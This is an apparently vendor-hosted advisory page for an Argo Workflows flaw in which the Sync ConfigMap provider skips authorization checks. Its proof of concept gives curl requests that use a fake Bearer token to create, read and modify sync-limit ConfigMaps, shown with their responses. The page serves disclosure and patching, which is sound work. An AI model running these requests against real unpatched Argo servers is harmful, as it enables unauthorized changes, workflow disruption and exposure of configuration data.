How severe is GHSA-xchc-cqwg-g76q?

No CVSS score has been assigned to GHSA-xchc-cqwg-g76q yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-xchc-cqwg-g76q?

GHSA-xchc-cqwg-g76q affects the following packages: github.com/argoproj/argo-workflows/v4 (Go). Ecosystems affected: Go.

How do I fix GHSA-xchc-cqwg-g76q?

Update github.com/argoproj/argo-workflows/v4 to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xchc-cqwg-g76q is resolved across your whole dependency graph.

How do I detect GHSA-xchc-cqwg-g76q in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-xchc-cqwg-g76q if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-xchc-cqwg-g76q?

O3 pinpoints whether GHSA-xchc-cqwg-g76q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-xchc-cqwg-g76q actively exploited in the wild?

No public exploit code has been indexed for GHSA-xchc-cqwg-g76q yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-xchc-cqwg-g76q published, and has it been updated?

GHSA-xchc-cqwg-g76q was published on May 4, 2026 and was last updated on July 2, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-xchc-cqwg-g76q

Fix: argoproj/argo-workflows@09fff05

GHSA-xchc-cqwg-g76q is a security vulnerability in github.com/argoproj/argo-workflows/v4. O3 Security confirms whether GHSA-xchc-cqwg-g76q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Argo has Missing Authorization in its Sync ConfigMap Provider

Also known asBIT-argo-workflows-2026-42297CVE-2026-42297GO-2026-5751

Published

May 4, 2026

Updated

Jul 2, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Real-World Exposure

1 pkg affected

🐹github.com/argoproj/argo-workflows/v4

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details

The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}

server/sync/sync_cm.go — lines 23-155
All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC

Prerequisites

Argo Server running with --auth-mode=server
Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default

NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'

Impact

An attacker with network access to the Argo Server can:

Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution
Workflow Disruption — Modify existing sync limits to break running workflows
Information Disclosure — Read ConfigMap data that may contain sensitive configuration
Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check)
CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/argoproj/argo-workflows/v4`	≥ 4.0.0&&< 4.0.5	4.0.5

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/argoproj/argo-workflows/v4 to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xchc-cqwg-g76q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xchc-cqwg-g76q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xchc-cqwg-g76q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. ### Details The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks: ```go // sync_cm.go — UNPROTECTED func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) { // NO auth.CanI

O3 Security · Impact-Aware SCA

Is GHSA-xchc-cqwg-g76q in your dependencies?

O3 detects GHSA-xchc-cqwg-g76q across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works